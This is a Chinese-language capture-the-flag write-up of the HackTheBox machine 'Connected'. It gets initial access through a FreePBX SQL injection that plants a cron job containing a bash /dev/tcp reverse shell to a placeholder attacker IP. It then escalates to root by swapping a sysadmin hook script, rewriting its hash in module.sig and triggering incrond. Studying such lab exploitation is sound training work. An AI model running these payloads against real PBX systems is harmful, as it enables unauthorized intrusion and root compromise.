HackTheBox Connected Writeup

HackTheBox Connected 是一台简单难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

信息收集

端口扫描

nmap -sC -sV -p- <ip>
端口服务备注
22SSHOpenSSH 7.4
80HTTPFreePBX 16.0.40.7
443HTTPSApache/2.4.6

目标运行 FreePBX 16.0.40.7,这是一套基于 Asterisk 的开源 PBX 管理面板。

服务探测

访问 80 端口发现 FreePBX 管理登录界面。FreePBX 16.0.40.7 存在已知 SQL 注入漏洞 CVE-2025-57819,可在未经认证的情况下通过某些接口注入 SQL。

发现注入点存在后,确认为显错/报错注入

POC 参考

USER

SQL 注入利用

FreePBX 的某个接口存在报错 SQL 注入(Error-based SQL Injection),可以直接通过报错信息回显数据。利用该注入点,可以在数据库中执行任意 SQL 语句。

核心思路:利用 FreePBX 的 cron_jobs 表机制,通过 SQL 注入往该表插入一条定时任务,执行恶意命令反弹 shell。

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) 
VALUES ('sysadmin', 'webshell', 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1', NULL, '* * * * *', 30, 1, 1)

插入后等待一分钟,定时任务触发,获得反向 shell。

# 本地监听
nc -lvnp 4444

Getshell

# 反向 shell 连接成功后
id
# uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)

进入系统后以 asterisk 用户身份运行,接下来开始枚举提权路径。

ROOT

提权信息收集

枚举过程中发现系统以 root 权限运行 incrond(inotify cron daemon),监控 /var/spool/asterisk/incron 目录下的文件变化。

cat /etc/incron.d/sysadmin
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#

含义:只要该目录下有文件被创建、修改、属性更改或关闭写入,系统就会以 root 权限运行 /usr/bin/sysadmin_manager,并把触发文件的文件名作为参数传给它。

sysadmin_manager 流程分析

sysadmin_manager 的处理流程如下:

  1. 解析文件名(例如 sysadmin.fail2ban-stop),提取模块名(sysadmin)和 hook 名(fail2ban-stop
  2. 检查对应模块的 module.sig 文件(GPG 签名验证文件)
  3. 比对 hooks/ 目录下对应脚本文件的 SHA256 哈希是否和签名文件中的记录一致
  4. 验证通过后,以 root 权限执行该 hook 脚本

可利用点

asterisk 用户对以下路径拥有写权限:

  • 触发目录 /var/spool/asterisk/incron
  • sysadmin 模块的 hooks/ 目录
  • sysadmin 模块的 module.sig 签名文件

这意味着我们可以:

  1. 将某个 hook 脚本替换为恶意 payload
  2. 重新计算 payload 的 SHA256 哈希
  3. 更新 module.sig 中的哈希值
  4. 在 incron 触发目录下创建触发文件
  5. incrond 检测到变化 → root 执行 sysadmin_manager → 签名验证通过 → root 执行我们的恶意脚本

利用步骤

# 1. 备份原始文件
cp /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop /tmp/fail2ban-stop.bak
cp /var/www/html/admin/modules/sysadmin/module.sig /tmp/module.sig.bak

# 2. 写入恶意 payload(改成你想要的命令)
cat > /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop << 'EOF'
#!/bin/bash
id > /tmp/root.txt
whoami >> /tmp/root.txt
cat /root/root.txt >> /tmp/root.txt 2>/dev/null || echo "no flag" >> /tmp/root.txt
chmod 666 /tmp/root.txt
EOF

chmod +x /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop

# 3. 更新 module.sig 中的 SHA256 哈希
NEW_HASH=$(sha256sum /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop | awk '{print $1}')
sed -i "s|hooks/fail2ban-stop:[0-9a-f]\{64\}|hooks/fail2ban-stop:$NEW_HASH|" /var/www/html/admin/modules/sysadmin/module.sig

# 4. 触发 incron 执行
touch /var/spool/asterisk/incron/sysadmin.fail2ban-stop

# 5. 检查结果
cat /tmp/root.txt

执行后输出类似:

uid=0(root) gid=0(root) groups=0(root)
root
<root_flag_hash>

成功获取 root 权限和 flag。

总结

步骤方法
初始访问FreePBX CVE-2025-57819 SQL 注入 → cron_jobs webshell
权限提升incrond + sysadmin_manager 签名验证绕过
关键点asterisk 用户对 hooks/ 和 module.sig 有写权限
教训incron 触发目录不应授予低权限用户写权限;签名文件的哈希校验链应保证完整性